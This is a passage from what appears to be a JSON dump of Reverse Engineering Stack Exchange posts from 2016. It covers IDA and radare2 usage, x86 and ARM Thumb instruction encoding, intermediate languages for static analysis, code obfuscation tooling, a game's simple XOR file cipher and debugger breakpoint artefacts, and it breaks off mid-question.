        "Title": "Collapsing a range into a hidden area, but excluding a possible label at the start of range",
        "Tags": "|ida|",
        "Answer": "<p>Yes, you can use <em>manual instructions</em>.</p>\n\n<p>From <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/651.shtml\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/support/idadoc/651.shtml</a>:</p>\n\n<blockquote>\n  <h3>SetManualInsn</h3>\n\n<pre><code>// Specify instruction represenation manually.\n//      ea   - linear address\n//      insn - a string represenation of the operand\n// IDA will not check the specified instruction, it will simply display\n// it instead of the orginal representation.\n\nvoid   SetManualInsn   (long ea, string insn);\n</code></pre>\n</blockquote>\n\n<p>You can test it through the UI via <code>Edit \u2192 Other \u2192 Manual instruction...</code> or by pressing <kbd>Alt</kbd>+<kbd>F2</kbd>.</p>\n\n<p>You would set the manual instruction for address <code>0x4BEEEF</code> to <code>eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')</code>. You could then put the remaining <code>push</code>es and <code>call</code> into a hidden area, or alternatively, set manual instructions for those <code>push</code> and <code>call</code> instructions with <code></code> (blank space) as the manual instruction value.</p>\n"
    },
    {
        "Id": "12434",
        "CreationDate": "2016-04-13T12:58:02.947",
        "Body": "<p>Where is it possible to find a list of x86 instructions (and x64 instructions) with the (hex) opcode and the length/size in bytes of the instructions, such as:</p>\n\n<ul>\n<li><code>0x90</code> = <code>NOP</code> = 1 byte</li>\n<li><code>0xE9</code> = <code>JMP</code> = 5 bytes</li>\n<li><code>0x8B</code> = <code>MOV</code> = 2 bytes</li>\n<li><code>0x55</code> = <code>PUSH</code> = 1 byte</li>\n<li><code>0x6A</code> = <code>PUSH</code> = 2 bytes</li>\n<li><code>0x68</code> = <code>PUSH</code> = 5 bytes</li>\n</ul>\n\n<p><em>Unsure if all of them are correct.</em></p>\n\n<p>I've been using <a href=\"http://ref.x86asm.net/coder32.html\" rel=\"nofollow\">this wonderful list</a>, to look through instructions and their opcodes, but it doesn't contain the full length/size in bytes of each opcode.</p>\n\n<p>What confuses me a bit more, is how it at the beginning mentions \"one-byte opcodes\" and \"two-byte opcodes\". While the <code>JMP</code> command would be 5 bytes (1 byte for <code>JMP</code> command, 4 bytes for jump distance).</p>\n\n<p><strong>Edit</strong></p>\n\n<p>I don't specifically need a list per se. Overall I'm just searching for a way to deduce the length of instructions.</p>\n",
        "Title": "Determind length of instructions in bytes",
        "Tags": "|disassembly|x86|x86-64|machine-code|",
        "Answer": "<p>Instead of using a list, it would probably be much more efficient for you to use a small and portable length disassembler, such as <a href=\"https://github.com/greenbender/lend\" rel=\"noreferrer\">https://github.com/greenbender/lend</a>.</p>\n"
    },
    {
        "Id": "12435",
        "CreationDate": "2016-04-13T15:34:17.857",
        "Body": "<p>I've got a device that measures the heat in my apartment and sends the data to a master every day. It works on 868,95 MHz frequency. I want to be able to read this data. I've got some basic in Arduino, can it be a way?</p>\n",
        "Title": "Interact with a 868,95 MHz device",
        "Tags": "|radio-interception|",
        "Answer": "<p>Googling for \"868 MHZ Arduino\" yields several results of transmitters/receivers (transceivers) that can be attached to an arduino, including example programs. You could start with buying 1 of those, put it in receive mode, leave it on for 24h and check what it receives, and check if it really receives data only once in 24h, or maybe more often. </p>\n\n<p>Then, save the data, start experimenting, change the temperature in your apartment, and check how the bytes change, to find out which byte is which.</p>\n\n<p>Of course, if your apartment has such a sensor, it's probable the surrounding apartments have the same, and you'll receive their transmissions as well. Probably part of the data that gets transmitted is some kind of sender id; monitoring the time differences between receptions should give you, after a while, an idea which data comes from which sender; check what's common between them to find out what's the ID and what's the actual data.</p>\n\n<p>Also, googling for the model number of your transmitter, together with \"technical manual\" or similar, might give you some hints about the protocol that's used, which might save you some hassle in decoding everything yourself.</p>\n\n<p>Of course, all of this is vague, but as long as your question doesn't go into any more detail, answers can't either.</p>\n"
    },
    {
        "Id": "12438",
        "CreationDate": "2016-04-13T17:21:28.600",
        "Body": "<p>For some reason i can't find any string matching the MessageBox text of a program when searching with \"search all reference strings\" , why is that?</p>\n",
        "Title": "Find messagebox string with ollydbg",
        "Tags": "|disassembly|ollydbg|",
        "Answer": "<p>There are many, many <em>possible</em> reasons:</p>\n\n<ul>\n<li>the MessageBox text may be combined from several shorter snippets before being used</li>\n<li>the text may be hidden in the resource part of the executable</li>\n<li>the text may be loaded from a resource file at runtime, possibly depending on the language of the windows installation</li>\n<li>the text may be in the executable file in an uncommon format; for example, if the software was written in chinese first, then translated to english, the strings may be in some UTF-16 or even UTF-32 format instead of the more common ASCII/UTF-8/ISO-8859-X formats</li>\n<li>the application may be a client/server application, where the client retrieves the text from the server, and never stores/produces it itself</li>\n<li>the text may have been deliberately obfuscated/encrypted in the executable file, to prevent people with ollydbg searching for it</li>\n<li>and much more that doesn't come to mind right now.</li>\n</ul>\n"
    },
    {
        "Id": "12446",
        "CreationDate": "2016-04-14T22:26:48.877",
        "Body": "<p>I know that, after double clicking on a opcode or register, all the occurance of the  opcode/register in the graph view are highlighted.</p>\n\n<p>Is there any easy way to just search for a opcode or register in the current graph view?</p>\n",
        "Title": "IDA:Search for all the occurrence of certain opcode/register in current graph view",
        "Tags": "|ida|",
        "Answer": "<p>There's a nifty plugin that allows that - <a href=\"https://github.com/devttys0/ida/tree/master/plugins/localxrefs\" rel=\"nofollow\">localxrefs</a>.</p>\n\n<p>It looks up all the references of the currently highlighted identifier in the current function, and prints out a list of those.</p>\n"
    },
    {
        "Id": "12449",
        "CreationDate": "2016-04-15T09:30:37.740",
        "Body": "<p>I remember IDA (Interactive Disassembler) has a really neat feature of function signatures where you don't have to reverse engineer code found inside standard libraries.<br>\nIs there a similar feature for Java byte code, especially for obfuscated code? </p>\n",
        "Title": "Java byte code equivalent of IDA function signatures",
        "Tags": "|java|byte-code|",
        "Answer": "<p>If the control flow graph has not been obfuscated then you could use those to match methods. The biggest hurdle to this is building up the database of library signatures. </p>\n\n<p>Control flow graphs are the structure that the basic blocks make when viewed as a directed graph. [1] These represent the possible paths of execution in a method. They are relatively easy to parse out and recover from a compiled application. Most Android and Java obfuscation focuses on method names and not on control flow. Also, the Java / Dalvik bytecode can change between compilations if the methods are modified or moved. That's where comparing structure comes in handy, unless serious changes are made, the control flow is likely to remain the same.</p>\n\n<p>I did some work with control flow graph matching in Android applications. [2][3] The project's real strength turned out to be malware strain clustering. It would match methods that were of similar structure and you could see that certain applications shared methods with other applications, and how the strains evolved.</p>\n\n<p>If you are looking to create a Java function signature a combination between structural and byte base matching would be very powerful.</p>\n\n<ol>\n<li><a href=\"https://en.wikipedia.org/wiki/Control_flow_graph\">https://en.wikipedia.org/wiki/Control_flow_graph</a></li>\n<li><a href=\"https://github.com/douggard/CFGScanDroid\">https://github.com/douggard/CFGScanDroid</a></li>\n<li><a href=\"http://www.irongeek.com/i.php?page=videos/derbycon4/t420-control-flow-graph-based-virus-scanning-douglas-goddard\">http://www.irongeek.com/i.php?page=videos/derbycon4/t420-control-flow-graph-based-virus-scanning-douglas-goddard</a></li>\n</ol>\n"
    },
    {
        "Id": "12452",
        "CreationDate": "2016-04-15T20:35:10.853",
        "Body": "<p>I'm trying analyze <a href=\"http://csapp.cs.cmu.edu/3e/bomb.tar\" rel=\"nofollow\">study example</a>. Some article illustrates radar2 work, and there radar2 resolve string by XREF:</p>\n\n<pre><code>0x00400ee4    be00244000   mov esi, str.Border_relations_with_Canada_have_never_been_better. ; \"Border relations with Canada have never been better\" @ 0x402400\n</code></pre>\n\n<p>But my instance of radar2 prints:</p>\n\n<pre><code>0x00400ee4    be00244000   mov esi, str.BorderrelationswithCanadahaveneverbeenbetter. ; CODE (CALL) XREF from 0x00401338 (unk)\n</code></pre>\n\n<p>How I can see this string? Maybe I must specify some settings?\n(P.S. Miscusi my English, if it incorrect)</p>\n\n<p>UPD: using <code>strings ./binaryFile | grep someTemplate</code>, I find string... but radare2 behaviour has higher priority. Therefore this string exists in file.</p>\n",
        "Title": "radare2 not resolve XREF",
        "Tags": "|radare2|",
        "Answer": "<p>This seems like the version of radare that you're using is slightly different from the version that has been used in the example.</p>\n\n<p>Note that the 2nd argument to <code>mov esi,</code> is not the string itself, it's the address of the string in memory. radare detects what looks like a string, generates a <strong>label</strong> at that address, and uses the label as a synonym for the address in the <code>mov esi</code> instruction.</p>\n\n<p>As labels cannot contain blanks, radare has to handle them in some way. Seems the example version of radare replaces them with underscores, while your version just omits them. But, this is the name of the label, not the real string, and if you display the memory at that location, you should see the real string, including the space characters.</p>\n"
    },
    {
        "Id": "12460",
        "CreationDate": "2016-04-17T07:16:31.290",
        "Body": "<h2>Background</h2>\n<p>As the title is self-explanatory, I would like to translate binaries of any architecture (e.g. x86, ARM, ARM Thumb) to an intermediate language in order to apply arch-independent static analysis.</p>\n<p>To be exact, my work is confined to the shared objects supplied in APK files for Android platform. My basic requirements, which I would expect the IL to meet, is as follows (Actually my goal is to extract information flows from a given <code>.so</code> file supplied in an APK file).</p>\n<ul>\n<li>Binary slicing</li>\n<li>PDG (CFG/DFG)</li>\n<li>Well-supported by its maintainer or its community</li>\n</ul>\n<p>For this purpose I've looked into some existing tools listed below, but unfortunately I'm not sure whether I can use them to reveal information flows or not.</p>\n<ul>\n<li><a href=\"https://github.com/Cr4sh/openreil\" rel=\"noreferrer\">OpenREIL</a>: The aim of this project is to lift up arch-dependent binaries into REIL.</li>\n<li><a href=\"https://github.com/programa-stic/barf-project\" rel=\"noreferrer\">Barf Project</a>: A multiplatform open source Binary Analysis and Reverse engineering Framework</li>\n<li><a href=\"http://www.capstone-engine.org\" rel=\"noreferrer\">Capstone</a>: A disassembly framework.</li>\n<li>Epic: This tool translates binaries of any-arch to arch-independent LLVM bitcode. (This project is not public, so I cannot use it.)</li>\n</ul>\n<h2>Question</h2>\n<p>Is there any IL out there that I use to statically analyze a arch-dependent <code>.so</code> file (within an APK archive) in order to extract information flows? Basically I want it to provide basic requirements such as slicing and PDG.</p>\n",
        "Title": "Lifting up binaries of any arch into an intermediate language for static analysis",
        "Tags": "|disassembly|android|static-analysis|reil|",
        "Answer": "<p>I reviewed about 14 intermediate representations for the project I'm working on. It seems like any author (even for PhDs and master thesis) found all other existing IRs lacking and invented their own one.</p>\n<p>There are two notable exceptions:</p>\n<p><strong>VEX</strong> is a prehistoric approach do IRs and provides a stable backend. That being said, it employs helper functions for stuff like flag calculations and thereby may omit semantical information.</p>\n<p><strong>REIL</strong> is well designed for the purpose of static analysis, but is fragmented ever since big G bought zynam\u00edcs. Some community projects keep the concept alive, but introduce their own extensions to REIL.</p>\n<p>Since static analysis requires a SMT for most of its heavy lifting, we resorted to converting IRs to logic formulas and have been using them as a kind of intermediate representation.</p>\n<p>For example:</p>\n<pre><code>pop eax\n</code></pre>\n<p>equals to:</p>\n<blockquote>\n<p>esp = esp -4</p>\n<p>[esp - 4] = eax</p>\n</blockquote>\n"
    },
    {
        "Id": "12467",
        "CreationDate": "2016-04-17T21:59:23.767",
        "Body": "<p>I want to extract opcodes (<code>MOV, ADD, ...etc</code>) from binary files 'exe files' but as I want the process to be completely automated, I was looking for a free disassembler which can be easily integrated preferably a python based tool.. </p>\n\n<p>I've found this project : <a href=\"http://www.capstone-engine.org\" rel=\"nofollow\">http://www.capstone-engine.org</a> \nhowever, I am still trying to figure out how it can be used to extract the opcodes 'it is a bit complicated for me!' and I want some advice 'before spending more time' in terms of whether it is the best and more flexible option available there or not.</p>\n\n<p>any help appreciated.</p>\n",
        "Title": "Disassembler for batch/automated processing",
        "Tags": "|disassemblers|",
        "Answer": "<p>Try <a href=\"http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/\" rel=\"nofollow\">Pyew by Joxean Koret</a> it's <a href=\"https://github.com/joxeankoret/pyew\" rel=\"nofollow\">open source</a></p>\n"
    },
    {
        "Id": "12486",
        "CreationDate": "2016-04-19T23:46:16.420",
        "Body": "<p>I did find this link: <a href=\"https://reverseengineering.stackexchange.com/questions/9094/offset-calculation-for-branch-instruction-in-arm?newreg=644a4b2d707a476496570137fcb31e37\">Offset calculation for branch instruction in ARM</a></p>\n<p>Which was quite helpful but also confusing for me. I tried few ways to get it working with my offsets but failed.</p>\n<p>What I wanted to do, was create a BL instruction from 0x52F4D6 to 0x5BF368.</p>\n<p>At 0x52F4D6 I wanted to write BL sub_5BF368 but how do I get the correct hex code (thumb) for it?</p>\n",
        "Title": "Offset Calculation for a Branch Instruction Thumb",
        "Tags": "|ida|arm|",
        "Answer": "<p>You can get this from the ARM manual; for example from the version linked at the link you found, <a href=\"https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf\" rel=\"nofollow noreferrer\">https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf</a>.</p>\n\n<p>First, a quick calculation <code>5BF358-52F4D6</code> yields <code>8FE82</code>, so you see you have more than 12 bits, and need to use the long branch format in 5.19, which splits your <code>BL</code> into two instructions. The section says \"The branch offset must take account of the prefetch operation, which causes the PC to be 1 word (4 bytes) ahead of the current instruction\", so the offset you need is from 4 bytes behind <code>52F4D6</code> - <code>52F4DA</code>, which means the offset for the instructions - the value you want to add to <code>PC</code> is <code>8FE7E</code>.</p>\n\n<p>The first part of the instruction shifts its partial offset left by 12 bits, and adds this to PC. The instruction format is <code>1111HXXXXXXXXXXX</code> in binary, with <code>H=0</code>, so <code>F000+XXXX</code> in hex. What you want to add to PC in this step is <code>8F000</code>, so the opcode for this instruction is <code>F0 8F</code>.</p>\n\n<p>The second part shifts its partial offset left by one bit (remember thumb instructions are aligned to 16 bit, so the last bit of an offset is always 0, so it doesn't have to be represented in the hex opcode), and it has <code>H=1</code>, so the opcode is <code>F800+XXXX</code>. What you want to add in this step is <code>E7E</code>. Shift that right by one bit to get <code>73f</code>, and add to your opcode to get <code>FF 3F</code>.</p>\n\n<p>So, your BL instruction is <code>F08F FF3F</code>.</p>\n\n<p>To confirm this, create an assembly program, assemble it, and check the result:</p>\n\n<pre><code>.thumb\n.arch armv7a\n.syntax unified\n.align 2\n.org    0x52F4D6\nbl  sub_5BF368\n.org    0x5BF368\nsub_5BF368:\n</code></pre>\n\n<hr>\n\n<pre><code>arm-linux-gnueabi-as -o y.o y.s\narm-linux-gnueabi-objdump -s y.o | grep -v \"00000000 00000000 00000000 00000000\"\n.....\n 52f4d0 00000000 00008ff0 3fff0000 00000000  ........?.......\n....\n</code></pre>\n\n<p>Remember words are byte-swapped due to little-endianness, and you'll find your <code>F08F FF3F</code> opcode there.</p>\n\n<p>EDIT: I just fixed the address of the second .org since it seemed miss-typed just to avoid confusion. Now it looks consistent I think :) </p>\n"
    },
    {
        "Id": "12487",
        "CreationDate": "2016-04-20T02:26:01.247",
        "Body": "<p>Hopefully I'm asking this at the right place. League of legends recently added the option to join a club. Clubs still use the <a href=\"https://en.wikipedia.org/wiki/XMPP\" rel=\"nofollow\">XMPP protocol</a> just like before for their public chat rooms: <a href=\"http://leagueoflegends.wikia.com/wiki/User_blog:Sevenix/Connecting_to_the_LoL_chat_using_XMPP\" rel=\"nofollow\">XMPP for public rooms</a>.</p>\n\n<p>For public chat rooms, you connect through the \"lvl.pvp.net\" server.</p>\n\n<p>For the private clubs' chat rooms, the server is now \"pgc.pvp.net\".</p>\n\n<p>My problem is that I can't figure out how to find the room address to connect to a club. The clubs are private rooms. Only someone that is part of the club can view and chat in the club. Unlike for a public chat room, where the address is simply: <strong><em>pu~\"Channel name hashed and no capital letters\"</em></strong>, a club address is a UUID and therefore, unlike public rooms, it's impossible to figure out the room address from the club name. </p>\n\n<p>Riot is fine with people connecting to the XMPP server from outside apps, but they haven't provided an easy way to find the UUID for a club room.</p>\n\n<p>How do I find what it is for my club?</p>\n",
        "Title": "XMPP clubs in league of legends",
        "Tags": "|protocol|strings|networking|sniffing|",
        "Answer": "<p>I also noticed what IyoIyo mentioned about the clubsData (I'm using the Pidgin XMPP client to connect to Riot's chat servers), and have been trying to determine what to do with that data. I've been trying to join my own club in which I know the actual name, but I'm stuck at the UUID step too.</p>\n\n<p>As a result, I haven't made much progress but I was wondering if any of you has figured this issue out in the meantime - finding the room name of a club in order to join, assuming its server is \"pgc.pvp.net\" as Amos mentioned.</p>\n\n<p>-</p>\n\n<p>Pardon my \"answer\" post as I also stumbled upon this issue recently and literally just made a SE account to reply to this thread lol.</p>\n"
    },
    {
        "Id": "12496",
        "CreationDate": "2016-04-21T15:34:24.883",
        "Body": "<p>I am doing binary analysis on <code>x86-64bit</code> ELF binaries. All the binaries are compiled from <code>C</code> language. Basically, for a given function, I would like to figure out whether this function has a return value or not. That is, in its corresponding <code>C</code> code, whether a meaningful <code>return</code> exists. </p>\n\n<p>As I am essentially facing the assembly code, it is not feasible to figure out through some type information. However, as for normal <code>x86-64bit</code> assembly program, the calling convention only allows register <code>rax</code> to hold the return value, <strong>so I am thinking to check the usage of <code>rax</code> after a typical function call and decide whether the target function returns a value.</strong></p>\n\n<p>Here is an example in <code>AT&amp;T</code> syntax:</p>\n\n<pre><code>foo:\n   ...\n   call bar\n   mov 0, %rax  &lt;--- bar should not have a return value\n\nbar:\n   ...\n</code></pre>\n\n<p>In the above example, as <code>rax</code> is immediately reset, it is unlikely for function <code>bar</code> to return a value.</p>\n\n<p>Another example:</p>\n\n<pre><code>foo:\n   ...\n   call bar\n   jmp *%rax  &lt;----- It is very likely that bar has a return value\n</code></pre>\n\n<p>For the above case, I suppose without some aggressive inter-procedure optimization, we can say it for sure that <code>bar</code> returns a value (a pointer).</p>\n\n<p>I think this is yet another (ad-hoc) reverse engineering task, but I guess there may be a more \"formal\" way to solve it, any idea on that?</p>\n",
        "Title": "Figure out whether a function has return value of not?",
        "Tags": "|binary-analysis|static-analysis|elf|functions|x86-64|",
        "Answer": "<p>I see several problems with that approach:</p>\n\n<ul>\n<li>Functions that return double values don't use <code>eax</code></li>\n<li>Functions that return structs don't neccesarily use <code>eax</code>, see <a href=\"http://blog.aaronballman.com/2012/02/describing-the-msvc-abi-for-structure-return-types/\" rel=\"nofollow\">here</a></li>\n<li>return values from many functions, like <code>free</code>, <code>close</code>, <code>printf</code> are custumarily ignored, so \"caller does not read <code>eax</code>\" does not translate to \"function has no return value\"</li>\n<li>there are edge cases to \"<code>eax</code> is used\". For example, <code>xor [location], eax</code> probably means <code>eax</code> has a value, <code>xor eax, [location]</code> as well, but <code>xor eax, eax</code> means <em>probably</em> not.</li>\n</ul>\n\n<p>In the generic case, i think there's no foolproof way. For example, in a function ending in</p>\n\n<pre><code>for (i=0; i&lt;somevar; i++)\n    somearray[i]=0;\nreturn i;\n</code></pre>\n\n<p>the compiler may just decide to use <code>eax</code> for the loop counter; which means there's no reason to do another <code>mov</code> after the loop. If the caller ignores the value of <code>eax</code>, you have no way to determine, from the assembly alone, if that <code>return</code> statement was present or not. (Of course, in this particular case, any self respecting compiler will generate a variant of <code>rep stosw</code> or <code>sse</code> instructions, but you get the point).</p>\n\n<p>So when the caller <em>does</em> read <code>eax</code>, you can be quite certain that the function has a return value; but a caller that ignores <code>eax</code> basically means nothing. </p>\n\n<p>And even if the caller reads <code>eax</code>, you could construct pathological cases of a function written in assembler, that preserves <code>eax</code>, and a caller that knows about this and makes use of <code>eax</code> even over the function call. But you'll probably not encounter this in software that isn't deliberately obfuscated</p>\n"
    },
    {
        "Id": "12507",
        "CreationDate": "2016-04-22T15:09:24.477",
        "Body": "<p>For my project, I am performing a kind of checksum operation on a portion of code to protect it and therefore do not want its template to be easily visible and therefore need obfuscation.</p>\n\n<p>I have searched a lot on the net and read papers describing obfuscation definitions, types, etc. But there seems to be no tutorial on obfuscating x86 assembly code. Can anybody suggest a simple algorithm/tool for the same?</p>\n\n<p>I have read about inserting dummy code, changing the order of the instructions and other techniques but they appear to be totally random i.e. there is no end to how much dummy code to insert, etc.</p>\n\n<p>Can somebody at least guide me to the correct approach? </p>\n",
        "Title": "How to obfuscate x86 assembly code?",
        "Tags": "|assembly|x86|obfuscation|security|",
        "Answer": "<p>If you don't want to obfuscate the code manually, here's the 'mature' approach:</p>\n\n<ul>\n<li>Source code -> Compiler -> IR aka bitcode</li>\n<li>IR -> obfuscator -> obfuscated IR</li>\n<li>obfuscated IR -> LLVM static compiler -> final executable</li>\n</ul>\n\n<p>Where:</p>\n\n<ul>\n<li>The compiler which can generate IR is clang.</li>\n<li>Obfuscator is usually opt from <a href=\"https://github.com/obfuscator-llvm/obfuscator/wiki/Installation\" rel=\"nofollow noreferrer\">https://github.com/obfuscator-llvm/obfuscator/wiki/Installation</a></li>\n<li>LLVM static compiler is llc also from <a href=\"https://github.com/obfuscator-llvm/obfuscator/wiki/Installation\" rel=\"nofollow noreferrer\">https://github.com/obfuscator-llvm/obfuscator/wiki/Installation</a></li>\n</ul>\n\n<p>Manipulating IR code is much easier, than manipulating the native code. Yet learning how llvm works and how to use its classes to make changes is not trivial.</p>\n"
    },
    {
        "Id": "12514",
        "CreationDate": "2016-04-24T08:35:30.640",
        "Body": "<p>Since few days, Ive started to Reverse Engineer a little game. That game includes some data files, where the 3d files are stored. I want to write a little Software, where I can add own 3d models, to improve (cutomize) that game.</p>\n\n<p>Luckily the game is compiled in debug mode, so I can clearly see all method names, c++ classes, etc., so I clearly know what happens in particular places in the code. Since I am new on reverse engineering (but not new in development), Ive figured out a lot of the code base and reimplemented many things related to the \"Data management of the game\".</p>\n\n<p>I see, in the disassembled code, there is a class which decrypts a file. Two methods are used. Initializing the decryptor and reading a character. Since I am not good at \"reverse engineering\" and crypto algorithms (I don\u00b4t even know whether the used crypto is a know algorithm or an own one), I hoped you guys could help me out to figure out what happens exactly on those methods, so I can re implement that in c++.</p>\n\n<p>I am going to include the asm sections and the pseudo c code (which my decompiler has produced). Notice that these methods are part of a class. So I will give you some additional information of what Ive figured out so far. I hope you guys could help me.</p>\n\n<p>Decryptor init method:\n(edi + 0x100 + offset) seems to be a char array of size 128 byte, but I couldn\u00b4t figure out the rest (It seems to be worked with char array, but like mentioned, I dont have that much experience with RE)</p>\n\n<p>ASM Code:\n<a href=\"http://pastebin.com/LiM10Cr5\" rel=\"nofollow\">http://pastebin.com/LiM10Cr5</a></p>\n\n<p>Pseudo-C:\n<a href=\"http://pastebin.com/1ewfxAh1\" rel=\"nofollow\">http://pastebin.com/1ewfxAh1</a></p>\n\n<p>Decryptor decrypt next char method:</p>\n\n<p>(edi + 0x200) seems to be a char (byte) where the next char or something similar is stored.</p>\n\n<p>ASM Code:\n<a href=\"https://pastebin.com/aWp8LYua\" rel=\"nofollow\">https://pastebin.com/aWp8LYua</a></p>\n\n<p>Pseudo-C:\n<a href=\"https://pastebin.com/u4w5yGYS\" rel=\"nofollow\">https://pastebin.com/u4w5yGYS</a></p>\n\n<p>If you need some more information, like mentioned, the application is fully compiled in debug mode, so its like a dream... I have all labels, all vtables, all information...</p>\n\n<p>I also have a read method, where these both methods are gonna called, but I guess I have reverse engineered that method properly (I hope so)...</p>\n\n<p>Thanks :)</p>\n",
        "Title": "Reverse Engineering Crypto Methods",
        "Tags": "|cryptography|",
        "Answer": "<p>The crypto definitely isn't a \"good\" one. Check what happens in your <code>nextDecrypt</code> function.</p>\n\n<h2>The nextDecrypt function</h2>\n\n<p>There's a variable at <code>ebx+0x200</code> which gets loaded into <code>edx</code>. This variable gets incremented by one, then written back to <code>ebx+0x200</code>, and this variable is also used to be <code>xor</code>ed with some byte (low byte of <code>ecx</code>, i.e. <code>cl</code>) before that byte is returned. So we have an algorithm that, very trivially, <code>xor</code>s every byte, with the value that's <code>xor</code>ed being incremented every time.</p>\n\n<p>There's a bit of special casing; the <code>xor</code> value avoids the value <code>0</code>; if the value is <code>0xff</code>, it's set to <code>1</code> instead of being incremented. Also, the value that's returned gets negated, and your decompiler made an error here; the <code>!</code> operator should have been a <code>~</code> as that's what the <code>not</code> assembly instruction does. (Another reason why you should use decompiled C as a first glance, but always look at assembly code to understand what's really going on).</p>\n\n<h2>Initialization</h2>\n\n<p>The initialization function seems to be a bit more complicated, until you realize that there are 8 identical blocks in the <code>do..while</code> loop; probably an inner loop that the compiler unrolled. It seems to shuffle around the bytes a bit at <code>[edx+0x100]</code>, and create an index map at <code>[ecx]</code>. The last thing it does seems to initialize the <code>xor</code> value from the <code>nextDecrypt</code> to <code>0x7f</code>. But something seems to be wrong in the first part; your code accesses <code>arg_4</code> but there is just an <code>arg_0</code>. And this <code>arg_4</code> seems to influence the step with of the byte shuffler.</p>\n\n<p>This is about as far as it makes sense to statically analyze the code; what a reverser should do at this point is run the thing in a debugger, and single-step through those 2 functions, checking how the data buffers change, to verify those assumptions. For example, i'd verify the \"initializing the xor value to 0x7f\" assumption can't be checked from your code alone, but in a debugger, you could check if the addresses are indeed the same. Also, it would be interesting to know what some real-world values of these arguments are, and where they come from.</p>\n\n<h2>Summary</h2>\n\n<p>So, to sum it up: This seems to be a \"crypto\" mechanism the author invented, not a standard one; it's not a complicated one; and you'll need some dynamic analysis of the software to get the details right of what it does.</p>\n\n<h2>Additional note</h2>\n\n<p>In cases like this, it makes sense to give as much information as possible, for example, the name of the game you're hacking. For example, loading up the binary in IDA makes analysis much easier than plaintext sourcecode, and people might actually be able to run the code and test a few assumptions on it.</p>\n"
    },
    {
        "Id": "12516",
        "CreationDate": "2016-04-24T12:47:53.810",
        "Body": "<p>how calculate size of memory that allocated from create specific windows object\ne.g.\nhow memory allocated when createsemaphore API is called?\nthere are any document that describe for all objects?</p>\n",
        "Title": "how calculate size of memory that allocated from create specific windows object?",
        "Tags": "|debugging|windbg|driver|",
        "Answer": "<p>The allocation for most executive objects (like semaphores) is done inside the <code>ObCreateObject()</code> function. As you can see in <a href=\"http://www.osronline.com/showThread.cfm?link=3787#T2\" rel=\"nofollow\"><code>ObCreateObject()</code>'s prototype</a>, one of the parameters is <code>ObjectSizeToAllocate</code>.</p>\n\n<p>When a function like <a href=\"http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSemaphore%2FNtCreateSemaphore.html\" rel=\"nofollow\"><code>NtCreateSemaphore()</code></a> is called, it calls <code>ObCreateObject()</code> with the size of the kernel object to be created (for example, <a href=\"http://msdn.moonsols.com/win7rtm_x86/KSEMAPHORE.html\" rel=\"nofollow\"><code>sizeof(KSEMAPHORE)</code></a>) as the value for <code>ObjectSizeToAllocate</code>.</p>\n\n<p>So the easiest way to answer your question is to set a breakpoint on <code>ObCreateObject()</code> and examine the value of <code>ObjectSizeToAllocate</code> when it's called to create your object of interest.</p>\n"
    },
    {
        "Id": "12518",
        "CreationDate": "2016-04-24T16:33:36.510",
        "Body": "<p>I am debugging a 32-bit program on a 64-bit MS Windows 7 using IDA Pro 6.8 as seen in the image below:<a href=\"https://i.stack.imgur.com/hhfGI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hhfGI.png\" alt=\"IDAproScreenshot\"></a></p>\n\n<p>The instruction highlighted in the trace window (upper-left part of screen-shot) is supposed to MOV a word from some memory address in the <code>.text</code> segment (at the address given by the <code>EDX</code> register), into the <code>EBX</code> register.</p>\n\n<p><code>EDX = 0x013D4021</code> and the bytes stored at this address are <code>50 53 51 52</code>, shown in the HexView of IDA in the lower half of the screen-shot above. </p>\n\n<p>Therefore, after executing the highlighted instruction <code>mov ebx, [edx]</code> I was expecting that <code>EBX = 0x52515350</code>. </p>\n\n<p>However, as you can see in the Result column of the trace window this is not true because <code>EBX = 0x525153CC</code>. </p>\n\n<p>Can anyone explain why the least significant byte in <code>EBX</code> is equal to <code>CC</code> instead of <code>50</code>? Is it a bug in IDA or is it caused by the OS?</p>\n\n<p>NOTE: I tried the same program with IDA Pro 6.9 and encountered the same behavior.</p>\n\n<p><strong>UPDATE:</strong> If you also have this issue and still want to debug the program, use hardware breakpoints. Hardware breakpoints do not modify the code like in the example above. IDA Pro allows enabling hardware breakpoints: <a href=\"http://hex-rays.com/products/ida/support/idadoc/1407.shtml\" rel=\"nofollow noreferrer\">hex-rays.com/products/ida/support/idadoc/1407.shtml</a></p>\n",
        "Title": "Unexpected memory value MOVed from text segment to register in Windows x86 32-bit program",
        "Tags": "|ida|windows|debugging|x86|memory|",
        "Answer": "<p><code>CC</code> is a single-byte encoding of <code>int 3</code>, which is the standard way of breaking to the debugger. In particular, debuggers often use it for break points and for single-stepping: they simply replace the first instruction byte with <code>CC</code> and wait for the interrupt. Then they write back the original instruction byte.</p>\n\n<p>The hexdump of the memory area around <code>[edx]</code> definitely looks like code, and the bytes loaded into <code>ebx</code> look like <code>push</code> opcodes. So it seems reasonable to suppose that either IDA is playing around with <code>int 3</code> or someone else does... If your target program is aliasing memory then this could explain the whole confusion.</p>\n"
    },
    {
        "Id": "12524",
        "CreationDate": "2016-04-25T02:05:18.103",
        "Body": "<p>I am using <code>Pin</code> for some execution monitoring tasks towards <code>x64 ELF</code> binary code.</p>\n\n<p>During the monitoring, for any memory write/read operation of the original code, I would like to record it as long as it refers the <code>heap</code>. However, given a memory address, I have no idea whether it refers the <code>heap</code> memory region or not.</p>\n\n<p>One possible solution I can come up with is that, before every memory operation, I acquire the runtime memory region information of the target process, and check whether the current memory address is within the <code>heap</code> region. This can be done by following the steps below inside the Pintool.</p>\n\n<ol>\n<li>acquire the process ID of monitored process (This step can use <code>Pin</code> API <code>Pin_GetPid</code>)</li>\n<li>read the process memory region information in <code>/proc/XXX/maps</code> </li>\n<li>find the <code>heap</code> memory region</li>\n<li>check whether the current address is within the <code>heap</code> region</li>\n</ol>\n\n<p>However, this is tedious and my test shows that this is extremely slow, as the size of memory <code>heap</code> can change during the runtime which means I need to go through the above steps everytime before memory operation. </p>\n\n<p>So I am wondering, does <code>Pin</code> has APIs to provide the <code>heap</code> memory region information? Or is there any solution more efficient that the above one? </p>\n\n<p>===================== update 